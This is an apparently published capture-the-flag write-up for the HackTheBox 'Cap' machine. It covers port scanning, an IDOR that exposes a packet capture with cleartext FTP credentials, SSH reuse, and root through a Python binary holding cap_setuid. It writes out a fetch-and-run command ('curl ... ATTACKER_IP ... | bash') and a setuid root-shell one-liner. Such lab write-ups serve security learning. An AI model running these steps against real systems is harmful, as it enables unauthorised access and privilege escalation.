| Platform | HackTheBox |
| Difficulty | Easy |
| OS | Linux |
| Tags | web, idor, pcap, ftp, linux-capabilities, privesc |
TL;DR
Cap runs a Flask “Security Dashboard” that lets you trigger a network capture and then serves the result at /data/<id>. The id is sequential and the app never checks ownership, so walking back to /data/0 hands you an older capture that contains an FTP login in cleartext. Those credentials log straight in over SSH as nathan. For root, the /usr/bin/python3.8 binary carries the cap_setuid capability, which lets an unprivileged user call setuid(0) and spawn a root shell.
Reconnaissance
Start with a full TCP port sweep, then a service scan on whatever comes back open.
# Full port discovery
nmap -p- --min-rate 1000 -T4 -Pn TARGET_IP
# Service/version detail on the open ports
nmap -p 21,22,80 -sC -sV TARGET_IP
Three services are exposed:
| Port | Service | Notes |
|---|---|---|
| 21 | FTP (vsftpd) | local login allowed |
| 22 | SSH (OpenSSH) | password auth enabled |
| 80 | HTTP | Python Flask app behind Gunicorn |
Enumeration
Browsing to http://TARGET_IP/ gives a dashboard titled “Security Dashboard” with a few panels: Dashboard, IP Config, Network Status, and a Security Snapshot action.
Clicking Security Snapshot generates a packet capture and redirects the browser to a path of the form:
/data/<id>
where <id> is the numeric id of the scan just created. That page shows a summary of the capture and offers the raw .pcap for download.
The important observation is the shape of that URL. The id is a small sequential integer, and nothing ties a given id to the user who created it. That is a classic Insecure Direct Object Reference (IDOR): change the id and you read somebody else’s capture.
Initial Access / Foothold
IDOR on /data
Instead of viewing our own freshly created snapshot (a high id with no interesting traffic), we walk the id backwards to the very first capture:
http://TARGET_IP/data/0
Scan 0 is the oldest capture on the box and it is far larger than the empty ones generated on demand. On disk the difference is obvious:
-rw-r--r-- 1 root root 9935 May 15 2021 /var/www/html/upload/0.pcap
-rw-r--r-- 1 tcpdump tcpdump 24 Nov 4 03:24 /var/www/html/upload/1.pcap
-rw-r--r-- 1 tcpdump tcpdump 24 Nov 4 03:24 /var/www/html/upload/2.pcap
-rw-r--r-- 1 tcpdump tcpdump 24 Nov 4 03:26 /var/www/html/upload/3.pcap
0.pcap holds traffic. The on-demand ones are 24 bytes, basically empty.
Pulling credentials out of the capture
Download 0.pcap and open it in Wireshark. FTP is a cleartext protocol, so the login is sitting right there in the packets. Right click any FTP packet and choose “Follow TCP Stream” to read the control channel in order. The credentials are visible by eye, no scripting needed:
220 (vsFTPd 3.0.3)
USER nathan
331 Please specify the password.
PASS REDACTED
230 Login successful.
SYST
215 UNIX Type: L8
USER nathan followed by the password in the clear.
Logging in
The recovered password is reused for SSH, so we log straight in as nathan.
ssh nathan@TARGET_IP
nathan@cap:~$ id
uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)
nathan@cap:~$ cat user.txt
REDACTED
Privilege Escalation
nathan cannot use sudo and is not in any interesting group (no sudo, no lxd), so the escalation is not sudo based.
nathan@cap:~$ sudo -l
[sudo] password for nathan:
Sorry, user nathan may not run sudo on cap.
To sweep for escalation vectors I used linpeas. Rather than write it to disk on the target, I served it from my attacker box and piped it straight into bash over the network.
On the attacker box, serve linpeas (it ships with Kali at /usr/share/peass/linpeas):
cd /usr/share/peass/linpeas && python3 -m http.server 8000
On the target as nathan, pull and run it in memory:
curl -s http://ATTACKER_IP:8000/linpeas.sh | bash
linpeas produces a wall of output. I fed the full report through Claude.ai to parse it and surface the real escalation path, which pointed straight at the Capabilities section:
Files with capabilities (limited to 50):
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
A Linux capability hands a single binary a slice of root’s powers without making it SUID root, and these do not show up in a normal ls -l, which is why a dedicated enumeration pass is what catches them.
/usr/bin/python3.8 carries cap_setuid. The +ep flags mean the capability is effective and permitted the moment the binary runs, so any Python process can legitimately change its own UID. Dropping to UID 0 and spawning a shell is then trivial (this is the GTFOBins “capabilities” technique for Python):
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@cap:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@cap:/root# cat /root/root.txt
REDACTED
That is root.
Flags
| Flag | Value |
|---|---|
| User | REDACTED |
| Root | REDACTED |
Flags are redacted for publication. How they were obtained is described above.
Techniques and Lessons Learned
- IDOR is about authorization, not authentication. The app happily authenticated us, then let us read objects (
/data/<id>) that were never ours because it only trusted the id in the URL. Sequential ids make it a one line attack: count down. - Cleartext protocols leak everything to anyone who can see the traffic. FTP sent
nathan‘s password in the clear, and a stored capture turned that into a credential dump long after the session ended. - Linux capabilities are an easy privesc to miss.
cap_setuidon an interpreter is as good as SUID root. A full enumeration pass with linpeas flags it in the Capabilities section, where a quick manual SUID search would walk right past it. - MITRE ATT&CK: T1190 (Exploit Public-Facing Application), T1552.001 (Credentials in Files), T1548.001 (Abuse Elevation Control Mechanism: Setuid/Setgid / capabilities).
References
- GTFOBins, Python capabilities: https://gtfobins.github.io/gtfobins/python/#capabilities
- HackTricks, Linux capabilities: https://book.hacktricks.wiki/en/linux-hardening/interesting-files-permissions/linux-capabilities.html
- man capabilities(7)
Note on process: the note taking and documentation for this write-up were done with the help of an LLM to save time. All the actual work (solving the box, running the tools, obtaining the flags) was done by a human behind the keyboard.
